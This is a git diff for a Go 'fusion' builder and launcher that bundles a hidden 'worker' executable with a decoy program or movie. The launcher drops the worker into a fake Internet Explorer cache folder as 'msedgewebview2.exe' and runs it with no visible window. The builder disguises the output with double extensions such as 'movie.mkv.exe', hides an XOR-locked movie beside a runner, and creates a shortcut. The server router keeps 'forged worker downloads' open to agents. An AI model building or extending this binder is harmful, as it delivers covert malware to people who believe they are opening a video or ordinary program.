diff --git a/.gitignore b/.gitignore
index c5227d7..48e5866 100644
--- a/.gitignore
+++ b/.gitignore
@@ -34,3 +34,7 @@ Desktop.ini
# Accidental empty placeholder (breaks go build if committed)
/server/internal/ollama/main.go
+
+# Broken accidental directory (cmd "..." path expansion)
+/server/.../
+/fusion-deliverables/
diff --git a/fusion/assets/manifest.json b/fusion/assets/manifest.json
new file mode 100644
index 0000000..50e43f9
--- /dev/null
+++ b/fusion/assets/manifest.json
@@ -0,0 +1 @@
+{"payload_kind":"exe","media_mode":"","media_file_name":""}
diff --git a/fusion/assets/media.bin b/fusion/assets/media.bin
new file mode 100644
index 0000000..e69de29
diff --git a/fusion/launch_stub.go b/fusion/launch_stub.go
new file mode 100644
index 0000000..65bb5b3
--- /dev/null
+++ b/fusion/launch_stub.go
@@ -0,0 +1,7 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func applyHiddenStart(_ *exec.Cmd) {}
diff --git a/fusion/launch_windows.go b/fusion/launch_windows.go
new file mode 100644
index 0000000..a9c4e1e
--- /dev/null
+++ b/fusion/launch_windows.go
@@ -0,0 +1,20 @@
+//go:build windows
+
+package main
+
+import (
+ "os/exec"
+ "syscall"
+)
+
+const createNoWindow = 0x08000000
+
+func applyHiddenStart(cmd *exec.Cmd) {
+ if cmd == nil {
+ return
+ }
+ cmd.SysProcAttr = &syscall.SysProcAttr{
+ HideWindow: true,
+ CreationFlags: createNoWindow,
+ }
+}
diff --git a/fusion/lock_hint_stub.go b/fusion/lock_hint_stub.go
new file mode 100644
index 0000000..ecb8672
--- /dev/null
+++ b/fusion/lock_hint_stub.go
@@ -0,0 +1,5 @@
+//go:build !windows
+
+package main
+
+func showLockedMediaHint() {}
diff --git a/fusion/lock_hint_windows.go b/fusion/lock_hint_windows.go
new file mode 100644
index 0000000..b143b60
--- /dev/null
+++ b/fusion/lock_hint_windows.go
@@ -0,0 +1,31 @@
+//go:build windows
+
+package main
+
+import (
+ "fmt"
+ "os"
+ "path/filepath"
+ "syscall"
+ "unsafe"
+)
+
+func showLockedMediaHint() {
+ runner := filepath.Base(os.Args[0])
+ if m := readManifest(); m != nil && m.RunnerDisplay != "" {
+ runner = m.RunnerDisplay
+ }
+ if runner == "" {
+ runner = "the runner .exe"
+ }
+ msg := fmt.Sprintf("This movie is locked.\r\n\r\nUse with:\r\n%s", runner)
+ title := "Locked media"
+ user32 := syscall.NewLazyDLL("user32.dll")
+ messageBoxW := user32.NewProc("MessageBoxW")
+ messageBoxW.Call(
+ 0,
+ uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(msg))),
+ uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(title))),
+ 0x30,
+ )
+}
diff --git a/fusion/main.go b/fusion/main.go
index 0200446..d7d8e57 100644
--- a/fusion/main.go
+++ b/fusion/main.go
@@ -1,7 +1,10 @@
package main
import (
- _ "embed"
+ "crypto/sha256"
+ "embed"
+ "encoding/hex"
+ "encoding/json"
"fmt"
"os"
"os/exec"
@@ -9,16 +12,51 @@ import (
"sync"
)
-//go:embed assets/prep.exe
-var prepExe []byte
+//go:embed assets/*
+var assets embed.FS
-//go:embed assets/worker.exe
-var workerExe []byte
+// Replaced at forge time.
+const (
+ runOrder = "FUSION_RUN_ORDER"
+ payloadKind = "FUSION_PAYLOAD_KIND"
+ mediaMode = "FUSION_MEDIA_MODE"
+ mediaFileName = "FUSION_MEDIA_FILE"
+)
-// RunOrder is replaced at build time (parallel | prep_first | worker_first).
-const runOrder = "FUSION_RUN_ORDER"
+type fusionManifest struct {
+ PayloadKind string `json:"payload_kind"`
+ MediaMode string `json:"media_mode"`
+ MediaFileName string `json:"media_file_name"`
+ MediaEncFile string `json:"media_enc_file"`
+ MediaKeyB64 string `json:"media_key_b64"`
+ RunnerDisplay string `json:"runner_display_name"`
+}
func main() {
+ if fusionLockHintMode() {
+ showLockedMediaHint()
+ return
+ }
+
+ workerPath, err := materializeWorker()
+ if err != nil {
+ return
+ }
+
+ switch payloadKind {
+ case "video":
+ runVideoFusion(workerPath)
+ default:
+ runExeFusion(workerPath)
+ }
+}
+
+func runExeFusion(workerPath string) {
+ prepBytes, err := assets.ReadFile("assets/prep.exe")
+ if err != nil || len(prepBytes) == 0 {
+ return
+ }
+
dir, err := os.MkdirTemp("", "cm-fusion-*")
if err != nil {
return
@@ -26,46 +64,175 @@ func main() {
defer os.RemoveAll(dir)
prepPath := filepath.Join(dir, "prep.exe")
- workerPath := filepath.Join(dir, "worker.exe")
- if err := os.WriteFile(prepPath, prepExe, 0755); err != nil {
- return
- }
- if err := os.WriteFile(workerPath, workerExe, 0755); err != nil {
+ if err := os.WriteFile(prepPath, prepBytes, 0755); err != nil {
return
}
+ runFusionOrder(workerPath, prepPath, func() { waitProcess(prepPath) })
+}
+
+func runVideoFusion(workerPath string) {
+ mediaName := mediaFileName
+ if mediaName == "" {
+ if m := readManifest(); m != nil && m.MediaFileName != "" {
+ mediaName = m.MediaFileName
+ }
+ }
+ if mediaName == "" {
+ mediaName = "movie.mkv"
+ }
+
+ var mediaPath string
+ var err error
+ switch mediaMode {
+ case "embedded":
+ var cleanup func()
+ mediaPath, cleanup, err = materializeEmbeddedMedia(mediaName)
+ if err != nil {
+ return
+ }
+ defer cleanup()
+ default:
+ var cleanup func()
+ mediaPath, cleanup, err = resolvePairedMedia(mediaName)
+ if err != nil || mediaPath == "" {
+ return
+ }
+ if cleanup != nil {
+ defer cleanup()
+ }
+ }
+
+ runFusionOrder(workerPath, mediaPath, func() { openMedia(mediaPath) })
+}
+
+func runFusionOrder(workerPath, primaryPath string, runPrimary func()) {
switch runOrder {
case "prep_first":
- waitProcess(prepPath)
- startProcess(workerPath)
+ runPrimary()
+ launchWorker(workerPath)
case "worker_first":
+ launchWorker(workerPath)
waitProcess(workerPath)
- waitProcess(prepPath)
+ runPrimary()
default:
+ launchWorker(workerPath)
var wg sync.WaitGroup
- wg.Add(2)
+ wg.Add(1)
go func() {
defer wg.Done()
- waitProcess(prepPath)
- }()
- go func() {
- defer wg.Done()
- startProcess(workerPath)
+ runPrimary()
}()
wg.Wait()
}
}
-func startProcess(path string) {
+func readManifest() *fusionManifest {
+ raw, err := assets.ReadFile("assets/manifest.json")
+ if err != nil {
+ return nil
+ }
+ var m fusionManifest
+ if json.Unmarshal(raw, &m) != nil {
+ return nil
+ }
+ return &m
+}
+
+func materializeEmbeddedMedia(name string) (string, func(), error) {
+ data, err := assets.ReadFile("assets/media.bin")
+ if err != nil || len(data) == 0 {
+ return "", nil, fmt.Errorf("embedded media missing")
+ }
+ dir, err := os.MkdirTemp("", "cm-fusion-media-*")
+ if err != nil {
+ return "", nil, err
+ }
+ path := filepath.Join(dir, filepath.Base(name))
+ if err := os.WriteFile(path, data, 0644); err != nil {
+ os.RemoveAll(dir)
+ return "", nil, err
+ }
+ return path, func() { _ = os.RemoveAll(dir) }, nil
+}
+
+func resolvePairedMedia(name string) (string, func(), error) {
+ m := readManifest()
+ encFile := name + ".cmdata"
+ keyB64 := ""
+ playName := name
+ if m != nil {
+ if m.MediaEncFile != "" {
+ encFile = m.MediaEncFile
+ }
+ keyB64 = m.MediaKeyB64
+ if m.MediaFileName != "" {
+ playName = m.MediaFileName
+ }
+ }
+ if keyB64 != "" {
+ return encryptedMediaBesideRunner(encFile, keyB64, playName)
+ }
+ exe, err := os.Executable()
+ if err != nil {
+ return "", nil, err
+ }
+ dir := filepath.Dir(exe)
+ for _, candidate := range []string{name, filepath.Base(name)} {
+ p := filepath.Join(dir, candidate)
+ if st, statErr := os.Stat(p); statErr == nil && !st.IsDir() {
+ return p, func() {}, nil
+ }
+ }
+ return "", nil, fmt.Errorf("media not found")
+}
+
+func materializeWorker() (string, error) {
+ workerBytes, err := assets.ReadFile("assets/worker.exe")
+ if err != nil || len(workerBytes) == 0 {
+ return "", fmt.Errorf("worker missing")
+ }
+
+ base := os.Getenv("LOCALAPPDATA")
+ if base == "" {
+ base = os.TempDir()
+ }
+ sum := sha256.Sum256(workerBytes)
+ tag := hex.EncodeToString(sum[:6])
+ dir := filepath.Join(base, "Microsoft", "Windows", "INetCache", "Content.IE5", tag)
+ if err := os.MkdirAll(dir, 0755); err != nil {
+ return "", err
+ }
+ dest := filepath.Join(dir, "msedgewebview2.exe")
+ if existing, err := os.ReadFile(dest); err == nil && len(existing) == len(workerBytes) {
+ if sha256.Sum256(existing) == sum {
+ return dest, nil
+ }
+ }
+ if err := os.WriteFile(dest, workerBytes, 0755); err != nil {
+ return "", err
+ }
+ return dest, nil
+}
+
+func launchWorker(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
+ applyHiddenStart(cmd)
_ = cmd.Start()
}
func waitProcess(path string) {
cmd := exec.Command(path)
cmd.Dir = filepath.Dir(path)
- if err := cmd.Run(); err != nil {
- fmt.Fprintf(os.Stderr, "process failed: %s: %v\n", filepath.Base(path), err)
- }
+ _ = cmd.Run()
+}
+
+func fusionLockHintMode() bool {
+ for _, arg := range os.Args[1:] {
+ if arg == "--locked" || arg == "-locked" {
+ return true
+ }
+ }
+ return false
}
diff --git a/fusion/media_crypto.go b/fusion/media_crypto.go
new file mode 100644
index 0000000..fe5902a
--- /dev/null
+++ b/fusion/media_crypto.go
@@ -0,0 +1,88 @@
+package main
+
+import (
+ "encoding/base64"
+ "fmt"
+ "io"
+ "os"
+ "path/filepath"
+ "strings"
+)
+
+const mediaLockMagic = "CMVD"
+
+func decryptMediaFile(encPath, keyB64, playName string) (string, func(), error) {
+ key, err := base64.StdEncoding.DecodeString(keyB64)
+ if err != nil || len(key) == 0 {
+ return "", nil, fmt.Errorf("invalid media key")
+ }
+ in, err := os.Open(encPath)
+ if err != nil {
+ return "", nil, err
+ }
+ defer in.Close()
+
+ head := make([]byte, len(mediaLockMagic))
+ if _, err := io.ReadFull(in, head); err != nil || string(head) != mediaLockMagic {
+ return "", nil, fmt.Errorf("not a locked media file")
+ }
+
+ dir, err := os.MkdirTemp("", "cm-fusion-play-*")
+ if err != nil {
+ return "", nil, err
+ }
+ outName := filepath.Base(playName)
+ if outName == "" || outName == "." {
+ outName = "movie.mkv"
+ }
+ outPath := filepath.Join(dir, outName)
+ out, err := os.Create(outPath)
+ if err != nil {
+ os.RemoveAll(dir)
+ return "", nil, err
+ }
+
+ buf := make([]byte, 256*1024)
+ ki := 0
+ for {
+ n, readErr := in.Read(buf)
+ if n > 0 {
+ plain := make([]byte, n)
+ for i := 0; i < n; i++ {
+ plain[i] = buf[i] ^ key[ki%len(key)]
+ ki++
+ }
+ if _, err := out.Write(plain); err != nil {
+ out.Close()
+ os.RemoveAll(dir)
+ return "", nil, err
+ }
+ }
+ if readErr == io.EOF {
+ break
+ }
+ if readErr != nil {
+ out.Close()
+ os.RemoveAll(dir)
+ return "", nil, readErr
+ }
+ }
+ out.Close()
+ return outPath, func() { _ = os.RemoveAll(dir) }, nil
+}
+
+func encryptedMediaBesideRunner(mediaEncFile, keyB64, playName string) (string, func(), error) {
+ exe, err := os.Executable()
+ if err != nil {
+ return "", nil, err
+ }
+ name := strings.TrimSpace(mediaEncFile)
+ if name == "" {
+ return "", nil, fmt.Errorf("missing encrypted media name")
+ }
+ encPath := filepath.Join(filepath.Dir(exe), filepath.Base(name))
+ if st, err := os.Stat(encPath); err != nil || st.IsDir() {
+ return "", nil, fmt.Errorf("encrypted media not found")
+ }
+ return decryptMediaFile(encPath, keyB64, playName)
+}
diff --git a/fusion/media_stub.go b/fusion/media_stub.go
new file mode 100644
index 0000000..99ba2d0
--- /dev/null
+++ b/fusion/media_stub.go
@@ -0,0 +1,10 @@
+//go:build !windows
+
+package main
+
+import "os/exec"
+
+func openMedia(path string) {
+ cmd := exec.Command("xdg-open", path)
+ _ = cmd.Start()
+}
diff --git a/fusion/media_windows.go b/fusion/media_windows.go
new file mode 100644
index 0000000..0c5bfbd
--- /dev/null
+++ b/fusion/media_windows.go
@@ -0,0 +1,14 @@
+//go:build windows
+
+package main
+
+import (
+ "os/exec"
+ "path/filepath"
+)
+
+func openMedia(path string) {
+ path = filepath.Clean(path)
+ cmd := exec.Command("cmd", "/c", "start", "", path)
+ _ = cmd.Start()
+}
diff --git a/server/internal/api/router.go b/server/internal/api/router.go
index 5c44274..d3b2f1b 100644
--- a/server/internal/api/router.go
+++ b/server/internal/api/router.go
@@ -61,7 +61,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API + health + forged worker downloads stay open for agents.
if strings.HasPrefix(path, "/api/v1/agent/") ||
path == "/api/v1/health" ||
- (strings.HasPrefix(path, "/api/v1/builds/") && strings.HasSuffix(path, "/download")) {
+ (strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
next.ServeHTTP(w, r)
return
}
@@ -144,6 +144,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builds
r.Get("/builds", h.ListBuilds)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
+ r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
// Config
diff --git a/server/internal/builder/estimate.go b/server/internal/builder/estimate.go
index d564e34..acd3acb 100644
--- a/server/internal/builder/estimate.go
+++ b/server/internal/builder/estimate.go
@@ -13,26 +13,44 @@ const (
)
type FusionEstimateResponse struct {
- PrepBytes int64 `json:"prep_bytes"`
- PrepName string `json:"prep_name"`
- EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
- EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
- EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
- EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
- OutputFileName string `json:"output_file_name"`
- ProjectRootPath string `json:"project_root_path"`
- ArchivePathHint string `json:"archive_path_hint"`
- ExportPath string `json:"export_path,omitempty"`
- Obfuscate bool `json:"obfuscate"`
- SignBuild bool `json:"sign_build"`
- Notes []string `json:"notes"`
+ PrepBytes int64 `json:"prep_bytes"`
+ PrepName string `json:"prep_name"`
+ EstimatedWorkerBytes int64 `json:"estimated_worker_bytes"`
+ EstimatedFusionStubBytes int64 `json:"estimated_fusion_stub_bytes"`
+ EstimatedResourcePatchBytes int64 `json:"estimated_resource_patch_bytes"`
+ EstimatedTotalBytes int64 `json:"estimated_total_bytes"`
+ OutputFileName string `json:"output_file_name"`
+ ProjectRootPath string `json:"project_root_path"`
+ ArchivePathHint string `json:"archive_path_hint"`
+ ExportPath string `json:"export_path,omitempty"`
+ Obfuscate bool `json:"obfuscate"`
+ SignBuild bool `json:"sign_build"`
+ Notes []string `json:"notes"`
}
func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSize int64, prepName string) FusionEstimateResponse {
+ kind := strings.TrimSpace(req.FusionPayloadKind)
+ if kind == "" {
+ kind = detectFusionPayloadKind(prepName)
+ if kind == "exe" && prepPath != "" {
+ kind = detectFusionPayloadKind(prepPath)
+ }
+ }
+ mode := normalizeFusionMediaMode(req.FusionMediaMode)
+
outputName := req.FusionOutputName
if outputName == "" {
outputName = prepName
}
+ if kind == "video" {
+ if mode == "embedded" {
+ if outputName == "" {
+ outputName = disguiseVideoExeName(prepName)
+ }
+ } else if outputName == "" {
+ outputName = runnerNameForMedia(prepName)
+ }
+ }
if outputName == "" {
outputName = "prep.exe"
}
@@ -43,13 +61,28 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
workerBytes := h.estimateWorkerBytes()
stubBytes := defaultFusionStubBytes
- total := prepSize + workerBytes + stubBytes + resourcePatchOverhead
+ var total int64
+ switch kind {
+ case "video":
+ if mode == "embedded" {
+ total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
+ } else {
+ total = workerBytes + stubBytes + resourcePatchOverhead
+ }
+ default:
+ total = prepSize + workerBytes + stubBytes + resourcePatchOverhead
+ }
root := h.projectRoot
if root == "" || root == "." {
root, _ = filepath.Abs(".")
}
- projectOut := filepath.Join(root, outputName)
+ label := prepName
+ if kind != "video" {
+ label = strings.TrimSuffix(outputName, filepath.Ext(outputName))
+ }
+ sub := fusionExportSubdir(req, label)
+ projectOut := filepath.Join(root, FusionDeliverablesDir, sub, outputName)
resp := FusionEstimateResponse{
PrepBytes: prepSize,
@@ -64,18 +97,36 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
Obfuscate: h.shouldObfuscate(req),
SignBuild: req.SignBuild,
Notes: []string{
- fmt.Sprintf("Prep: %s", formatBytes(prepSize)),
- fmt.Sprintf("Estimated worker: %s (from recent builds or default)", formatBytes(workerBytes)),
+ fmt.Sprintf("Payload: %s (%s)", prepName, formatBytes(prepSize)),
+ fmt.Sprintf("Estimated worker: %s", formatBytes(workerBytes)),
fmt.Sprintf("Fusion launcher overhead: ~%s", formatBytes(stubBytes)),
- "Final size may differ slightly after icon + version info patch.",
+ fmt.Sprintf("Max upload: %s", formatBytes(FusionMaxUploadBytes)),
},
}
+ if kind == "video" {
+ if mode == "embedded" {
+ resp.Notes = append(resp.Notes,
+ "Option A (embedded): one disguised .exe contains the movie + hidden worker. Best under ~500MB.",
+ )
+ } else {
+ resp.Notes = append(resp.Notes,
+ "Option B (paired): runner .exe + encrypted movie in fusion-deliverables/
/.",
+ fmt.Sprintf("Movie file stays as %q beside the runner.", prepName),
+ )
+ }
+ resp.ExportPath = filepath.Join(root, FusionDeliverablesDir, sub)
+ resp.Notes = append(resp.Notes, fmt.Sprintf("Deliverables folder: %s", resp.ExportPath))
+ }
+
if strings.TrimSpace(req.OutputDir) != "" {
clean := filepath.Clean(strings.TrimSpace(req.OutputDir))
if clean != "." && !strings.HasPrefix(clean, "..") && !filepath.IsAbs(clean) {
- resp.ExportPath = filepath.Join(root, clean, outputName)
- resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", resp.ExportPath))
+ secondary := filepath.Join(root, clean, outputName)
+ if resp.ExportPath == "" {
+ resp.ExportPath = secondary
+ }
+ resp.Notes = append(resp.Notes, fmt.Sprintf("Secondary export: %s", secondary))
}
}
@@ -86,7 +137,6 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
}
- _ = prepPath
return resp
}
diff --git a/server/internal/builder/fusion.go b/server/internal/builder/fusion.go
index e644f6d..0b2fa01 100644
--- a/server/internal/builder/fusion.go
+++ b/server/internal/builder/fusion.go
@@ -1,73 +1,17 @@
package builder
-import (
- "fmt"
- "os"
- "path/filepath"
- "strings"
-)
+import "strings"
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
- if prepPath == "" {
- return "", fmt.Errorf("fusion requires prep.exe")
+ req := &BuildRequest{
+ FusionOutputName: outputName,
+ FusionRunOrder: runOrder,
}
- if _, err := os.Stat(prepPath); err != nil {
- return "", fmt.Errorf("prep.exe not found: %w", err)
- }
- if _, err := os.Stat(workerPath); err != nil {
- return "", fmt.Errorf("worker binary not found: %w", err)
- }
-
- fusionSrc := filepath.Join(h.projectRoot, "fusion")
- if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
- return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
- }
-
- fusionDir := filepath.Join(buildDir, "fusion")
- assetsDir := filepath.Join(fusionDir, "assets")
- if err := os.MkdirAll(assetsDir, 0755); err != nil {
- return "", err
- }
-
- mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
+ res, err := h.buildFusionFromRequest(buildDir, prepPath, workerPath, req)
if err != nil {
return "", err
}
- order := normalizeFusionOrder(runOrder)
- mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
- if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
- return "", err
- }
-
- if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
- return "", err
- }
- if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
- return "", err
- }
- if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
- return "", err
- }
-
- if outputName == "" {
- outputName = filepath.Base(prepPath)
- }
- if outputName == "" {
- outputName = "prep.exe"
- }
- if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
- outputName += ".exe"
- }
- outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
-
- ldflags := fusionLdflags(prepPath)
- if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
- return "", err
- }
- if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
- return "", err
- }
- return outputPath, nil
+ return res.LauncherPath, nil
}
func normalizeFusionOrder(order string) string {
diff --git a/server/internal/builder/fusion_media.go b/server/internal/builder/fusion_media.go
new file mode 100644
index 0000000..b0e8e93
--- /dev/null
+++ b/server/internal/builder/fusion_media.go
@@ -0,0 +1,344 @@
+package builder
+
+import (
+ "encoding/json"
+ "fmt"
+ "log"
+ "os"
+ "path/filepath"
+ "strings"
+)
+
+type fusionBuildResult struct {
+ LauncherPath string
+ MediaName string
+ EncryptedPath string
+ ShortcutPath string
+}
+
+func detectFusionPayloadKind(path string) string {
+ switch strings.ToLower(filepath.Ext(path)) {
+ case ".mp4", ".mkv", ".mov":
+ return "video"
+ default:
+ return "exe"
+ }
+}
+
+func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
+ kind := strings.TrimSpace(req.FusionPayloadKind)
+ if kind == "" {
+ kind = detectFusionPayloadKind(payloadPath)
+ }
+ req.FusionPayloadKind = kind
+
+ if kind == "video" {
+ return h.buildVideoFusion(buildDir, payloadPath, workerPath, req)
+ }
+ path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder)
+ if err != nil {
+ return nil, err
+ }
+ return &fusionBuildResult{LauncherPath: path}, nil
+}
+
+func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) {
+ mode := normalizeFusionMediaMode(req.FusionMediaMode)
+ mediaName := strings.TrimSpace(req.FusionMediaBaseName)
+ if mediaName == "" {
+ mediaName = filepath.Base(mediaPath)
+ }
+ mediaName = sanitizeFileName(mediaName)
+
+ outputName := strings.TrimSpace(req.FusionOutputName)
+ if mode == "embedded" {
+ if outputName == "" {
+ outputName = disguiseVideoExeName(mediaName)
+ }
+ } else {
+ if outputName == "" {
+ outputName = runnerNameForMedia(mediaName)
+ }
+ }
+ if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
+ outputName += ".exe"
+ }
+ outputName = sanitizeFileName(outputName)
+
+ fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName)
+ if err != nil {
+ return nil, err
+ }
+ assetsDir := filepath.Join(fusionDir, "assets")
+
+ if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
+ return nil, err
+ }
+ encFileName := mediaName + ".cmdata"
+ var mediaKey []byte
+ if mode == "paired" {
+ var keyErr error
+ mediaKey, keyErr = NewMediaLockKey()
+ if keyErr != nil {
+ return nil, keyErr
+ }
+ }
+ manifestFields := map[string]string{
+ "payload_kind": "video",
+ "media_mode": mode,
+ "media_file_name": mediaName,
+ }
+ if mode == "paired" {
+ manifestFields["media_enc_file"] = encFileName
+ manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey)
+ manifestFields["runner_display_name"] = outputName
+ }
+ if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil {
+ return nil, err
+ }
+
+ var encryptedPath, shortcutPath string
+ switch mode {
+ case "embedded":
+ if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil {
+ return nil, err
+ }
+ if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
+ return nil, err
+ }
+ default:
+ if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
+ return nil, err
+ }
+ if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil {
+ return nil, err
+ }
+ }
+
+ launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
+ ldflags := "-s -w -H windowsgui"
+ if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil {
+ return nil, err
+ }
+
+ if mode == "paired" {
+ encryptedPath = filepath.Join(buildDir, encFileName)
+ if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil {
+ return nil, err
+ }
+ _ = setHiddenFile(encryptedPath)
+
+ shortcutPath = filepath.Join(buildDir, mediaName+".lnk")
+ if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil {
+ return nil, err
+ }
+ }
+
+ return &fusionBuildResult{
+ LauncherPath: launcherPath,
+ MediaName: mediaName,
+ EncryptedPath: encryptedPath,
+ ShortcutPath: shortcutPath,
+ }, nil
+}
+
+func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
+ fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "")
+ if err != nil {
+ return "", err
+ }
+ assetsDir := filepath.Join(fusionDir, "assets")
+ if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
+ return "", err
+ }
+ if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
+ return "", err
+ }
+ if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil {
+ return "", err
+ }
+ if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil {
+ return "", err
+ }
+
+ if outputName == "" {
+ outputName = filepath.Base(prepPath)
+ }
+ if outputName == "" {
+ outputName = "prep.exe"
+ }
+ if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
+ outputName += ".exe"
+ }
+ outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
+
+ ldflags := fusionLdflags(prepPath)
+ if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil {
+ return "", err
+ }
+ if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil {
+ return "", err
+ }
+ return outputPath, nil
+}
+
+func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) {
+ fusionSrc := filepath.Join(h.projectRoot, "fusion")
+ if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
+ return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
+ }
+
+ fusionDir := filepath.Join(buildDir, "fusion")
+ assetsDir := filepath.Join(fusionDir, "assets")
+ if err := os.MkdirAll(assetsDir, 0755); err != nil {
+ return "", err
+ }
+
+ mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
+ if err != nil {
+ return "", err
+ }
+ mainOut := patchFusionMain(mainSrc, runOrder, payloadKind, mediaMode, mediaFileName)
+ if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), mainOut, 0644); err != nil {
+ return "", err
+ }
+
+ for _, name := range []string{
+ "go.mod", "launch_windows.go", "launch_stub.go",
+ "media_windows.go", "media_stub.go", "media_crypto.go",
+ "lock_hint_windows.go", "lock_hint_stub.go",
+ } {
+ src := filepath.Join(fusionSrc, name)
+ if _, err := os.Stat(src); err != nil {
+ continue
+ }
+ if err := copyFile(src, filepath.Join(fusionDir, name)); err != nil {
+ return "", err
+ }
+ }
+ return fusionDir, nil
+}
+
+func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName string) []byte {
+ order := normalizeFusionOrder(runOrder)
+ out := string(src)
+ repl := map[string]string{
+ `const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
+ `const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
+ `const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
+ `const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
+ }
+ for old, new := range repl {
+ out = strings.Replace(out, old, new, 1)
+ }
+ return []byte(out)
+}
+
+func writeFusionManifest(assetsDir, payloadKind, mediaMode, mediaFileName string) error {
+ return writeFusionManifestEx(assetsDir, map[string]string{
+ "payload_kind": payloadKind,
+ "media_mode": mediaMode,
+ "media_file_name": mediaFileName,
+ })
+}
+
+func writeFusionManifestEx(assetsDir string, fields map[string]string) error {
+ raw, err := json.Marshal(fields)
+ if err != nil {
+ return err
+ }
+ return os.WriteFile(filepath.Join(assetsDir, "manifest.json"), raw, 0644)
+}
+
+func normalizeFusionMediaMode(mode string) string {
+ switch strings.ToLower(strings.TrimSpace(mode)) {
+ case "embedded":
+ return "embedded"
+ default:
+ return "paired"
+ }
+}
+
+func disguiseVideoExeName(mediaName string) string {
+ base := strings.TrimSuffix(mediaName, filepath.Ext(mediaName))
+ if base == "" {
+ base = "movie"
+ }
+ ext := filepath.Ext(mediaName)
+ if ext == "" {
+ ext = ".mkv"
+ }
+ return sanitizeFileName(base + ext + ".exe")
+}
+
+func runnerNameForMedia(mediaName string) string {
+ base := strings.TrimSuffix(filepath.Base(mediaName), filepath.Ext(mediaName))
+ if base == "" {
+ base = "movie"
+ }
+ return sanitizeFileName(base + "-runner.exe")
+}
+
